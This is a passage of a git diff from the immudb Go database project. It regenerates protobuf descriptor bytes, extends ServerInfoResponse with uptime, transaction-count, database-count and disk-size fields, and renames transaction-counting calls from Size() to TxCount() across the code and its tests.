0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, + 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, + 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, - 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, - 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, - 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, - 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, - 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, - 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, - 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, - 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, - 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, - 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, - 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, - 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, - 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, - 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, + 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, + 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x5b, 0x0a, 0x0a, + 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, + 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, + 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, + 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, + 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, + 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, + 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, + 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, + 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, + 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, + 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, + 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, + 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, + 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, + 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index f8c5d6f939..8da2fac86e 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -605,6 +605,18 @@ message ServerInfoRequest {} message ServerInfoResponse { // The version of the server instance. string version = 1; + + // Unix timestamp (seconds) indicating when the server process has been started. + int64 startedAt = 2; + + // Total number of transactions across all databases. + int64 numTransactions = 3; + + // Total number of databases present. + int32 numDatabases = 4; + + // Total disk size used by all databases. + int64 databasesDiskSize = 5; } message HealthResponse { diff --git a/pkg/database/database.go b/pkg/database/database.go index de735151d5..5d3c8c943f 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -71,6 +71,8 @@ type DB interface { Size() (uint64, error) + TxCount() (uint64, error) + // Key-Value Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) @@ -911,8 +913,12 @@ func (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.En return list, nil } -// Size ... func (d *db) Size() (uint64, error) { + return d.st.Size() +} + +// TxCount ... +func (d *db) TxCount() (uint64, error) { return d.st.TxCount(), nil } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 1bac5743d0..9c808a3b1b 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -126,7 +126,7 @@ func TestDefaultDbCreation(t *testing.T) { defer db.Close() - n, err := db.Size() + n, err := db.TxCount() require.NoError(t, err) require.Zero(t, n) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 008b989eb5..02e5937ac1 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -82,6 +82,10 @@ func (db *closedDB) Size() (uint64, error) { return 0, store.ErrAlreadyClosed } +func (db *closedDB) TxCount() (uint64, error) { + return 0, store.ErrAlreadyClosed +} + func (db *closedDB) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index af81c35a72..ab4376fbae 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -49,7 +49,7 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.CurrentState() require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.Size() + _, err = cdb.TxCount() require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.Set(context.Background(), nil) diff --git a/pkg/server/server.go b/pkg/server/server.go index 68c59b473c..6173a47187 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -139,7 +139,7 @@ func (s *ImmuServer) Initialize() error { defaultDB, _ := s.dbList.GetByIndex(defaultDbIndex) - dbSize, _ := defaultDB.Size() + dbSize, _ := defaultDB.TxCount() if dbSize <= 1 { s.Logger.Infof("started with an empty default database") } @@ -802,7 +802,63 @@ func (s *ImmuServer) UpdateMTLSConfig(ctx context.Context, req *schema.MTLSConfi // ServerInfo returns information about the server instance. func (s *ImmuServer) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) { - return &schema.ServerInfoResponse{Version: version.Version}, nil + dbSize, err := s.totalDBSize() + if err != nil { + return nil, err + } + + numTransactions, err := s.numTransactions() + if err != nil { + return nil, err + } + + return &schema.ServerInfoResponse{ + Version: version.Version, + StartedAt: startedAt.Unix(), + NumTransactions: int64(numTransactions), + NumDatabases: int32(s.dbList.Length()), + DatabasesDiskSize: dbSize, + }, err +} + +func (s *ImmuServer) numTransactions() (uint64, error) { + s.dbListMutex.Lock() + defer s.dbListMutex.Unlock() + + var count uint64 + for i := 0; i < s.dbList.Length(); i++ { + db, err := s.dbList.GetByIndex(i) + if err != nil { + return 0, err + } + + dbTxCount, err := db.TxCount() + if err != nil { + return 0, err + } + count += dbTxCount + } + return count, nil +} + +func (s *ImmuServer) totalDBSize() (int64, error) { + s.dbListMutex.Lock() + defer s.dbListMutex.Unlock() + + var size int64 + for i := 0; i < s.dbList.Length(); i++ { + db, err := s.dbList.GetByIndex(i) + if err != nil { + return -1, err + } + + dbSize, err := db.Size() + if err != nil { + return -1, err + } + size += int64(dbSize) + } + return size, nil } // Health ... diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 6cde3d9bca..63a408ad4e 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -29,6 +29,7 @@ import ( "testing" "time" + "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/stream" "golang.org/x/crypto/bcrypt" @@ -168,7 +169,7 @@ func TestServerResetAdminPassword(t *testing.T) { _, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte("password2")) require.ErrorContains(t, err, "password") - txID, err = s.sysDB.Size() + txID, err = s.sysDB.TxCount() require.NoError(t, err) }) @@ -179,7 +180,7 @@ func TestServerResetAdminPassword(t *testing.T) { err := s.loadSystemDatabase(dbRootpath, nil, "password2", false) require.NoError(t, err) - currTxID, err := s.sysDB.Size() + currTxID, err := s.sysDB.TxCount() require.NoError(t, err) require.Equal(t, txID, currTxID) @@ -198,7 +199,7 @@ func TestServerResetAdminPassword(t *testing.T) { require.NoError(t, err) // There should be new TX with updated password - currTxID, err := s.sysDB.Size() + currTxID, err := s.sysDB.TxCount() require.NoError(t, err) require.Equal(t, txID+1, currTxID) @@ -217,7 +218,7 @@ func TestServerResetAdminPassword(t *testing.T) { require.NoError(t, err) // No ne TX is needed - currTxID, err := s.sysDB.Size() + currTxID, err := s.sysDB.TxCount() require.NoError(t, err) require.Equal(t, txID+1, currTxID) @@ -1007,8 +1008,14 @@ func testServerHistoryError(ctx context.Context, s *ImmuServer, t *testing.T) { } func testServerInfo(ctx context.Context, s *ImmuServer, t *testing.T) { - _, err := s.ServerInfo(ctx, &schema.ServerInfoRequest{}) + resp, err := s.ServerInfo(ctx, &schema.ServerInfoRequest{}) require.NoError(t, err) + + require.Equal(t, resp.Version, version.Version) + require.Equal(t, resp.StartedAt, startedAt.Unix()) + require.Equal(t, resp.NumTransactions, int64(16)) + require.GreaterOrEqual(t, resp.NumDatabases, int32(1)) + require.Greater(t, resp.DatabasesDiskSize, int64(0)) } func testServerHealth(ctx context.Context, s *ImmuServer, t 